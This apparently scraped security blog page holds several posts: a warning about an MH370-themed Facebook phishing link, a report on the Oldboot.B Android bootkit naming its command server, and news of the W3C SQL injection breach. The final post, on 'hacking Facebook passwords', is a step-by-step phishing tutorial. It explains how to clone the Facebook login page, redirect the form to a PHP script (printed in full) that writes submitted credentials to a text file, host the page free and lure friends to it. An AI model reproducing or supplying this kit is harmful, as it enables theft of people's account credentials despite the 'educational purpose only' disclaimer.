Malaysia flight MH370 found Trick again in Facebook

This is another #Phising trick.

Some sluggish people making this! :p

Firstly RIP to those dumbass...!! :P

But still, some people are becoming goose for those nasty tricks!

If you click on this link,  ==>  http://infinitis.pw/ <== it'll redirect to a page that exactly looks like Facebook login page.
If you type any shit in there, it'll be recorded in LOG file they'd already created. That leads to many critical situation! 

That exactly looks like Image1

You can see that The URL is quite different!

When you type any shit as creditentials and try logging in, you will be redirected to another page. But that page is real and that video too.
That is tubesube.com website.

These type of tricks are growing more and more. I strongly warning all of you not to become dumbs for such things!

Read more

Most Sophisticated Android Bootkit Malware ever Detected; Infected Millions of Devices

Hardly two month ago there's a report about the first widely spread Android Bootkit malware, dubbed as 'Oldboot.A', which infected more than 500,000 Smartphone users worldwide with Android operating system in last eight months, especially in China.

Oldboot is a piece of Android malware that's designed to re-infect Mobile devices even after a thorough cleanup. It resides in the memory of infected devices;  It modify the devices’ boot partition and booting script file to launch system service and extract malicious application during the early stage of system’s booting.

Yet another alarming report about Oldboot malware has been released by the Chinese Security Researchers from '360 Mobile Security'. They have discovered a new variant of the Oldboot family, dubbed as 'Oldboot.B', designed exactly as Oldboot.A, but new variant has advance stealth techniques. Especially, the defense against with antivirus software, malware analyzer, and automatic analysis tools. "The Oldboot Trojan family is the most significant demonstration of this trend." researchers said.

Oldboot.B, Android Bootkit malware has following abilities:

1. It can install Malicious apps silently in the background
2. It can inject malicious modules into system process
3. Prevents malware apps from Uninstalling
4. Oldboot.B can modify the browser's home page
5. It has ability to uninstall or disable installed Anti-virus from the device

Infection and Installing more malware apps:

Once an Android device is infected by Oldboot.B trojan, it will listen to the socket continuously and receive and execute commands received from the attacker's command-and-control server.

Malware has some hidden ELF binaries, that includes steganographically encrypted strings, executable codes and configuration file downloaded from C&C server, located at az.o65.org (IP is 61.160.248.67).

After installation, Oldboot Trojan install lots of other malicious android applications or games in the infected device, which are not manually installed by the user.

Malware architecture:

Oldboot.B architecture includes four major Components, those automatically executes during the system startup by registering itself as a service in the init.rc script:

1) Boot_tst:

uses remote injection technique to inject an SO file and a JAR file to the 'system_server' process of the Android system, continuously listen to the socket, and execute commands sent.

2) adb_server:

replaces pm script of Android system with itself and used for anti-uninstallation functionality.

3) meta_chk:

update the configuration file, download and install Android Apps promoted in the background. The Configuration file is encrypted, that greatly increases the time required to analyze.

To evade detection, meta_chk destroys itself from the file system, and left with only the injected process. Android Antivirus software does not support the process memory scan in the Android platform, so they cannot detect or delete the Oldboot Trojan which resides in the memor.

4) agentsysline:

module written in C++ programming language, run as a daemon in the background to receive commands from command-and-control server. This component can uninstall anti-virus software, delete the specific files and enable or disable network connection etc.

Problems for Security researches:

To increase the problem of malware analyzers:

1. It add some meaningless code and trigger some behaviour randomly
2. Check for Sim card availability in the device, and will not perform certain behaviour if there is no Sim card available to fool the sandbox and emulators
3. Check for the existence of antivirus software, and may uninstall the anti-virus software before doing anything malicious.

Malware uses the steganography techniques to hide its configuration file into images:

"But after some analysis, we found that the configuration of meta_chk is hidden in this picture, which contains the command will be executed by meta_chk and other information." researchers said. The size of this configuration file is 12,508 bytes.

"Depending on the commands sent from the C&C server, it can do many different things, such as sending fake SMS messages or phishing attacks, and so on. Driven by profit, the Oldboot Trojan family changes very fast to react to any situation."

Oldboot.B is one of the most advanced Android malware that is very difficult to remove, but antivirus firm 360 Mobile Security also released Oldboot detection and removing tool for free, you can download it from their website.

To avoid infection, Smartphones users should only install apps from trusted stores; make sure the Android system setting 'Unknown sources' is unchecked to prevent dropped or drive-by-download app installs; don't use untrusted custom ROMs and install a mobile security app.

Read more

W3C website fell victim to an SQL injection

It has come to to light today that the website of W3C (World Wide Web Consortium) has fallen victim to an SQL injection from an unknown party.

W3C announced today in a blog post that they had hired external penetration testing firm Cure53 to conduct a routine test on their infrastructure and had discovered several vulnerabilities, one of which was an SQL injection.

Upon further investigation, the W3C systems team had determined that the SQL injection had been leveraged by an unknown party and their database had been breached. The database was full of user credentials which we presume at the least contained Usernames, Encrypted passwords and E-mails. 

The W3C systems team have now fixed all of the discovered exploits and tightened their security by decommissioning all unused services and undertaken other security measures.

The passwords are encrypted but it is unknown what encryption method was used so it is not possible to determine how quickly an attacker could decrypt the hashes and be left with plaintext login information.

W3C have asked all users to reset their passwords immediately and to use the forgotten password function on the website should they have lost this information. 

Read more

Hacking Facebook passwords-Facebook Bruteforcer softwares[for n00b]

 Are you searching for Facebook or gmail Hacking Software?  if your answer is yes,  you come to the right place.

You may read  somewhere else as "use this hacking software to hack facebook accounts". And some hacking blogs has some post like this with procedure:

Download this software

Run the application.

Enter your email id and password

Enter your victim email id.

That's all your friend account is hacked.

Some hacking bloggers also mentioned Bruteforcer for Facebook.  if you enter the email id, it will hack the email. 


First of all , let me ask one question " Do you think facebook is f****ng stupids?"  .  Do you think it is possible to hack any accounts within a minute using these kind of softwares?(Innocence).

The truth is that you are being hacked.  You realized that?

Don't be a n00b, think like a Security Expert.

Then what is Facebook hacking softwares?

There is no Such software that will hack Facebook accounts , if you give email id simply.  They are fake softwares.

What is the Aim of these Kind of Hacking Facebook password softwares?

This kind of fake softwares are created by Hackers to trick n00b hackers.  If the n00b download and run the application, it may launch some malicious programs (spyware,trojans,..).    

Trojans leads to dead of your computer.  But most of hackers won't do this stupid thing.  They use spyware to steal your confidential data instead.

n00b: gadget.controller. you are right, my system is infected by some kind of spyware.

Gadget.controller: that's what i said.

 n00b: but  how hackers hack Facebook account passwords?

Gadget.controller: There are some other ways to hack the Facebook passwords. Let me explain what they are.

Method-1: Phishing webpage

Phishing webpage is traditional way of hacking accounts.  Old is Gold!!  Learn about Phishing now!

Phishing webpage is a fake webpage of the target website that helps hackers to lure the victim into believe that they are visiting the legitimate website. 

Let me explain how to create a facebook phishing .

STEP-1:

Go to facebook and right click on website .  Select "View source" and copy the code to notepad.

STEP-2:

Now search (Press ctrl +f) for keyword "action"  in that code.

You fill find the code like this:

Here, let me explain what "action" means to.  If you have some basic knowledge of web applications, then you already know about that.  'Action' is a HTML attribute that specifies where to send the form-data when a form is submitted.

In the above code, the action attribute has the value that points to facebook login php file (https://login.facebook.com/login.php).  So when a user click the login button, it will send the data to the login.php page. This php file will check whether the entered password is valid or not .

To capture the form-data, we have to change the action value to our php file. So let us change the value to ' action="login.php" '.  Note: I've removed ' http://login.facebook.com/' from the value.

Save the file as index.html.

STEP-3:

Now , let us create our own login.php file that will capture the entered data and redirects to original facebook page.

Open the notepad and type the following code:

<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Save this file as "login.php"

STEP-4:

Open the notepad and just save the file as "pswrds.txt" (without any contents).

STEP-5:
To host your phishing page, you may need a webhosting.  You can create a free account in free web hosting providers. Once you have created account in free hosting site, you can host your files and run.  Also, your files can be viewed by visiting a specific URL provided when you create account. For example : 'your_url_name.webhosting_domain.com'.

Now upload those files(index.html,login.php,pswrds.txt) in the free Web hosting site. Make sure your fake page is working or not by vising your url. 


Now , You have to lure your friends into login into your phishing page. Once they login into the page, you can see the login credentials being stored in the "pswrds.txt" file.

NOTE:

The above article is for educational purpose only, written for beginners of Ethical hacking or Pentesting to understand the basics so that it will be easy for them to understanding advanced topics.

METHOD-2: Keyloggers

Keylogger is spyware that will capture each key strokes in keyboard.  So , if the victim type the id and passwords, it will be captured and mailed to you.

Read more